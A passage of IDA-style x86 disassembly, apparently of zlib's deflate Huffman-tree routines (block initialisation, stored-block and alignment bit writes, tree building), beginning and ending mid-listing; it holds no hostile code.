sub_4C1960+8Cp ; sub_4C20F2+39Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4C1A11 ; --------------------------------------------------------------------------- loc_4C1A08: ; CODE XREF: sub_4C19FB+2Fj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4C1A11: ; CODE XREF: sub_4C19FB+Bj cmp [ebp+var_4], 11Eh jge short loc_4C1A2C mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov word ptr [edx+ecx*4+8Ch], 0 jmp short loc_4C1A08 ; --------------------------------------------------------------------------- loc_4C1A2C: ; CODE XREF: sub_4C19FB+1Dj mov [ebp+var_4], 0 jmp short loc_4C1A3E ; --------------------------------------------------------------------------- loc_4C1A35: ; CODE XREF: sub_4C19FB+59j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4C1A3E: ; CODE XREF: sub_4C19FB+38j cmp [ebp+var_4], 1Eh jge short loc_4C1A56 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov word ptr [edx+ecx*4+980h], 0 jmp short loc_4C1A35 ; --------------------------------------------------------------------------- loc_4C1A56: ; CODE XREF: sub_4C19FB+47j mov [ebp+var_4], 0 jmp short loc_4C1A68 ; --------------------------------------------------------------------------- loc_4C1A5F: ; CODE XREF: sub_4C19FB+83j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4C1A68: ; CODE XREF: sub_4C19FB+62j cmp [ebp+var_4], 13h jge short loc_4C1A80 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov word ptr [edx+ecx*4+0A74h], 0 jmp short loc_4C1A5F ; --------------------------------------------------------------------------- loc_4C1A80: ; CODE XREF: sub_4C19FB+71j mov eax, [ebp+arg_0] mov word ptr [eax+48Ch], 1 mov ecx, [ebp+arg_0] mov dword ptr [ecx+16A4h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+16A0h], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+16A8h], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+1698h], 0 mov esp, ebp pop ebp retn sub_4C19FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C1AC4 proc near ; CODE XREF: sub_4BEBAE+2B4p ; sub_4C20F2+D1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 3 mov eax, 10h sub eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C1BAF mov edx, [ebp+arg_C] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov edx, [ebp+var_8] mov ecx, [eax+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_8] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_4] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C1BE9 ; --------------------------------------------------------------------------- loc_4C1BAF: ; CODE XREF: sub_4C1AC4+1Ej mov ecx, [ebp+arg_0] mov edx, [ebp+arg_C] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C1BE9: ; CODE XREF: sub_4C1AC4+E9j push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C4C42 add esp, 10h mov esp, ebp pop ebp retn sub_4C1AC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C1C03 proc near ; CODE XREF: sub_4BEBAE+2A0p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_4], 3 mov eax, 10h sub eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C1CEE mov [ebp+var_8], 2 mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_8] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_4] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C1D2A ; --------------------------------------------------------------------------- loc_4C1CEE: ; CODE XREF: sub_4C1C03+1Ej mov ecx, [ebp+arg_0] mov edx, 2 mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C1D2A: ; CODE XREF: sub_4C1C03+E9j xor eax, eax mov ax, word_4F29AA mov [ebp+var_C], eax mov ecx, 10h sub ecx, [ebp+var_C] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C1E18 xor eax, eax mov ax, word_4F29A8 mov [ebp+var_10], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_10] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_C] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C1E5A ; --------------------------------------------------------------------------- loc_4C1E18: ; CODE XREF: sub_4C1C03+143j xor ecx, ecx mov cx, word_4F29A8 mov edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C1E5A: ; CODE XREF: sub_4C1C03+213j mov edx, [ebp+arg_0] push edx call sub_4C4A9D add esp, 4 mov eax, [ebp+arg_0] mov ecx, [eax+16ACh] add ecx, 0Bh mov edx, [ebp+arg_0] sub ecx, [edx+16B4h] cmp ecx, 9 jge loc_4C20E1 mov [ebp+var_14], 3 mov eax, 10h sub eax, [ebp+var_14] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C1F69 mov [ebp+var_18], 2 mov edx, [ebp+arg_0] mov eax, [ebp+var_18] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_14] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C1FA5 ; --------------------------------------------------------------------------- loc_4C1F69: ; CODE XREF: sub_4C1C03+299j mov ecx, [ebp+arg_0] mov edx, 2 mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] add ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+16B4h], ecx loc_4C1FA5: ; CODE XREF: sub_4C1C03+364j xor eax, eax mov ax, word_4F29AA mov [ebp+var_1C], eax mov ecx, 10h sub ecx, [ebp+var_1C] mov edx, [ebp+arg_0] cmp [edx+16B4h], ecx jle loc_4C2093 xor eax, eax mov ax, word_4F29A8 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_20] mov ecx, [ecx+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_20] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_1C] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C20D5 ; --------------------------------------------------------------------------- loc_4C2093: ; CODE XREF: sub_4C1C03+3BEj xor ecx, ecx mov cx, word_4F29A8 mov edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C20D5: ; CODE XREF: sub_4C1C03+48Ej mov edx, [ebp+arg_0] push edx call sub_4C4A9D add esp, 4 loc_4C20E1: ; CODE XREF: sub_4C1C03+27Bj mov eax, [ebp+arg_0] mov dword ptr [eax+16ACh], 7 mov esp, ebp pop ebp retn sub_4C1C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C20F2 proc near ; CODE XREF: sub_4BF490+F0p ; sub_4BF490+178p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] cmp dword ptr [eax+7Ch], 0 jle loc_4C2193 mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx+1Ch] cmp edx, 2 jnz short loc_4C2125 mov eax, [ebp+arg_0] push eax call sub_4C49AA add esp, 4 loc_4C2125: ; CODE XREF: sub_4C20F2+25j mov ecx, [ebp+arg_0] add ecx, 0B10h push ecx mov edx, [ebp+arg_0] push edx call sub_4C24AE add esp, 8 mov eax, [ebp+arg_0] add eax, 0B1Ch push eax mov ecx, [ebp+arg_0] push ecx call sub_4C24AE add esp, 8 mov edx, [ebp+arg_0] push edx call sub_4C2DE5 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov ecx, [eax+16A0h] add ecx, 0Ah shr ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+arg_0] mov eax, [edx+16A4h] add eax, 0Ah shr eax, 3 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_C] ja short loc_4C2191 mov edx, [ebp+var_8] mov [ebp+var_C], edx loc_4C2191: ; CODE XREF: sub_4C20F2+97j jmp short loc_4C21A2 ; --------------------------------------------------------------------------- loc_4C2193: ; CODE XREF: sub_4C20F2+14j mov eax, [ebp+arg_8] add eax, 5 mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_C], ecx loc_4C21A2: ; CODE XREF: sub_4C20F2:loc_4C2191j mov edx, [ebp+arg_8] add edx, 4 cmp edx, [ebp+var_C] ja short loc_4C21D0 cmp [ebp+arg_4], 0 jz short loc_4C21D0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C1AC4 add esp, 10h jmp loc_4C248C ; --------------------------------------------------------------------------- loc_4C21D0: ; CODE XREF: sub_4C20F2+B9j ; sub_4C20F2+BFj mov ecx, [ebp+var_8] cmp ecx, [ebp+var_C] jnz loc_4C231B mov [ebp+var_10], 3 mov edx, 10h sub edx, [ebp+var_10] mov eax, [ebp+arg_0] cmp [eax+16B4h], edx jle loc_4C22C3 mov ecx, [ebp+arg_C] add ecx, 2 mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov ecx, [edx+16B4h] shl eax, cl mov ecx, [ebp+arg_0] mov dx, [ecx+16B0h] or dx, ax mov eax, [ebp+arg_0] mov [eax+16B0h], dx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov ecx, [ebp+arg_0] xor edx, edx mov dx, [ecx+16B0h] sar edx, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx mov edx, [ebp+var_14] and edx, 0FFFFh mov eax, [ebp+arg_0] mov ecx, 10h sub ecx, [eax+16B4h] sar edx, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], dx mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_10] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C2300 ; --------------------------------------------------------------------------- loc_4C22C3: ; CODE XREF: sub_4C20F2+102j mov edx, [ebp+arg_C] add edx, 2 mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C2300: ; CODE XREF: sub_4C20F2+1CFj push offset dword_4F2A28 push offset dword_4F25A8 mov edx, [ebp+arg_0] push edx call sub_4C4162 add esp, 0Ch jmp loc_4C248C ; --------------------------------------------------------------------------- loc_4C231B: ; CODE XREF: sub_4C20F2+E4j mov [ebp+var_18], 3 mov eax, 10h sub eax, [ebp+var_18] mov ecx, [ebp+arg_0] cmp [ecx+16B4h], eax jle loc_4C2403 mov edx, [ebp+arg_C] add edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+arg_0] mov edx, [ebp+var_1C] mov ecx, [eax+16B4h] shl edx, cl mov eax, [ebp+arg_0] mov cx, [eax+16B0h] or cx, dx mov edx, [ebp+arg_0] mov [edx+16B0h], cx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] and ecx, 0FFh mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+16B0h] sar ecx, 8 mov edx, [ebp+arg_0] mov eax, [edx+8] mov edx, [ebp+arg_0] mov edx, [edx+14h] mov [eax+edx], cl mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+var_1C] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, 10h sub edx, [ecx+16B4h] mov ecx, edx sar eax, cl mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] mov ecx, [ebp+var_18] lea edx, [eax+ecx-10h] mov eax, [ebp+arg_0] mov [eax+16B4h], edx jmp short loc_4C2440 ; --------------------------------------------------------------------------- loc_4C2403: ; CODE XREF: sub_4C20F2+241j mov edx, [ebp+arg_C] add edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+16B4h] shl edx, cl mov ecx, [ebp+arg_0] mov ax, [ecx+16B0h] or ax, dx mov ecx, [ebp+arg_0] mov [ecx+16B0h], ax mov edx, [ebp+arg_0] mov eax, [edx+16B4h] add eax, [ebp+var_18] mov ecx, [ebp+arg_0] mov [ecx+16B4h], eax loc_4C2440: ; CODE XREF: sub_4C20F2+30Fj mov edx, [ebp+var_4] add edx, 1 push edx mov eax, [ebp+arg_0] mov ecx, [eax+0B20h] add ecx, 1 push ecx mov edx, [ebp+arg_0] mov eax, [edx+0B14h] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_4C3039 add esp, 10h mov edx, [ebp+arg_0] add edx, 980h push edx mov eax, [ebp+arg_0] add eax, 8Ch push eax mov ecx, [ebp+arg_0] push ecx call sub_4C4162 add esp, 0Ch loc_4C248C: ; CODE XREF: sub_4C20F2+D9j ; sub_4C20F2+224j mov edx, [ebp+arg_0] push edx call sub_4C19FB add esp, 4 cmp [ebp+arg_C], 0 jz short loc_4C24AA mov eax, [ebp+arg_0] push eax call sub_4C4B86 add esp, 4 loc_4C24AA: ; CODE XREF: sub_4C20F2+3AAj mov esp, ebp pop ebp retn sub_4C20F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C24AE proc near ; CODE XREF: sub_4C20F2+41p ; sub_4C20F2+56p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push esi mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+arg_4] mov eax, [edx+8] mov ecx, [eax] mov [ebp+var_C], ecx mov edx, [ebp+arg_4] mov eax, [edx+8] mov ecx, [eax+0Ch] mov [ebp+var_8], ecx mov [ebp+var_18], 0FFFFFFFFh mov edx, [ebp+arg_0] mov dword ptr [edx+1448h], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+144Ch], 23Dh mov [ebp+var_1C], 0 jmp short loc_4C2507 ; --------------------------------------------------------------------------- loc_4C24FE: ; CODE XREF: sub_4C24AE:loc_4C256Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_4C2507: ; CODE XREF: sub_4C24AE+4Ej mov edx, [ebp+var_1C] cmp edx, [ebp+var_8] jge short loc_4C256E mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] xor edx, edx mov dx, [ecx+eax*4] test edx, edx jz short loc_4C255F mov eax, [ebp+var_1C] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] mov edx, [ecx+1448h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+1448h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1448h] mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] mov [eax+edx*4+0B54h], ecx mov edx, [ebp+arg_0] add edx, [ebp+var_1C] mov byte ptr [edx+1450h], 0 jmp short loc_4C256C ; --------------------------------------------------------------------------- loc_4C255F: ; CODE XREF: sub_4C24AE+6Fj mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov word ptr [ecx+eax*4+2], 0 loc_4C256C: ; CODE XREF: sub_4C24AE+AFj jmp short loc_4C24FE ; --------------------------------------------------------------------------- loc_4C256E: ; CODE XREF: sub_4C24AE+5Fj ; sub_4C24AE:loc_4C2622j mov edx, [ebp+arg_0] cmp dword ptr [edx+1448h], 2 jge loc_4C2627 cmp [ebp+var_18], 2 jge short loc_4C2595 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov [ebp+var_20], ecx jmp short loc_4C259C ; --------------------------------------------------------------------------- loc_4C2595: ; CODE XREF: sub_4C24AE+D4j mov [ebp+var_20], 0 loc_4C259C: ; CODE XREF: sub_4C24AE+E5j mov edx, [ebp+arg_0] mov eax, [edx+1448h] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+1448h], eax mov edx, [ebp+arg_0] mov eax, [edx+1448h] mov ecx, [ebp+arg_0] mov edx, [ebp+var_20] mov [ecx+eax*4+0B54h], edx mov eax, [ebp+var_20] mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+var_10] mov word ptr [edx+ecx*4], 1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov byte ptr [eax+1450h], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+16A0h] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+16A0h], edx cmp [ebp+var_C], 0 jz short loc_4C2622 mov ecx, [ebp+var_4] mov edx, [ebp+var_C] xor eax, eax mov ax, [edx+ecx*4+2] mov ecx, [ebp+arg_0] mov edx, [ecx+16A4h] sub edx, eax mov eax, [ebp+arg_0] mov [eax+16A4h], edx loc_4C2622: ; CODE XREF: sub_4C24AE+151j jmp loc_4C256E ; --------------------------------------------------------------------------- loc_4C2627: ; CODE XREF: sub_4C24AE+CAj mov ecx, [ebp+arg_4] mov edx, [ebp+var_18] mov [ecx+4], edx mov eax, [ebp+arg_0] mov eax, [eax+1448h] cdq sub eax, edx sar eax, 1 mov [ebp+var_1C], eax jmp short loc_4C264C ; --------------------------------------------------------------------------- loc_4C2643: ; CODE XREF: sub_4C24AE+1B8j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx loc_4C264C: ; CODE XREF: sub_4C24AE+193j cmp [ebp+var_1C], 1 jl short loc_4C2668 mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C284E add esp, 0Ch jmp short loc_4C2643 ; --------------------------------------------------------------------------- loc_4C2668: ; CODE XREF: sub_4C24AE+1A2j mov edx, [ebp+var_8] mov [ebp+var_4], edx loc_4C266E: ; CODE XREF: sub_4C24AE+33Aj mov eax, [ebp+arg_0] mov ecx, [eax+0B58h] mov [ebp+var_1C], ecx mov edx, [ebp+arg_0] mov eax, [edx+1448h] mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [edx+eax*4+0B54h] mov [ecx+0B58h], eax mov ecx, [ebp+arg_0] mov edx, [ecx+1448h] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+1448h], edx push 1 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx call sub_4C284E add esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [eax+0B58h] mov [ebp+var_14], ecx mov edx, [ebp+arg_0] mov eax, [edx+144Ch] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+144Ch], eax mov edx, [ebp+arg_0] mov eax, [edx+144Ch] mov ecx, [ebp+arg_0] mov edx, [ebp+var_1C] mov [ecx+eax*4+0B54h], edx mov eax, [ebp+arg_0] mov ecx, [eax+144Ch] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+144Ch], ecx mov eax, [ebp+arg_0] mov ecx, [eax+144Ch] mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+ecx*4+0B54h], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_10] xor eax, eax mov ax, [edx+ecx*4] mov ecx, [ebp+var_14] mov edx, [ebp+var_10] xor esi, esi mov si, [edx+ecx*4] add eax, esi mov ecx, [ebp+var_4] mov edx, [ebp+var_10] mov [edx+ecx*4], ax mov eax, [ebp+arg_0] add eax, [ebp+var_1C] xor ecx, ecx mov cl, [eax+1450h] mov edx, [ebp+arg_0] add edx, [ebp+var_14] xor eax, eax mov al, [edx+1450h] cmp ecx, eax jl short loc_4C2776 mov ecx, [ebp+arg_0] add ecx, [ebp+var_1C] xor edx, edx mov dl, [ecx+1450h] mov [ebp+var_24], edx jmp short loc_4C2787 ; --------------------------------------------------------------------------- loc_4C2776: ; CODE XREF: sub_4C24AE+2B3j mov eax, [ebp+arg_0] add eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1450h] mov [ebp+var_24], ecx loc_4C2787: ; CODE XREF: sub_4C24AE+2C6j mov edx, [ebp+var_24] add edx, 1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax+1450h], dl mov ecx, [ebp+var_14] mov edx, [ebp+var_10] mov ax, word ptr [ebp+var_4] mov [edx+ecx*4+2], ax mov ecx, [ebp+var_1C] mov edx, [ebp+var_10] mov ax, word ptr [ebp+var_4] mov [edx+ecx*4+2], ax mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [ecx+0B58h], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax push 1 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx call sub_4C284E add esp, 0Ch mov eax, [ebp+arg_0] cmp dword ptr [eax+1448h], 2 jge loc_4C266E mov ecx, [ebp+arg_0] mov edx, [ecx+144Ch] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+144Ch], edx mov ecx, [ebp+arg_0] mov edx, [ecx+144Ch] mov eax, 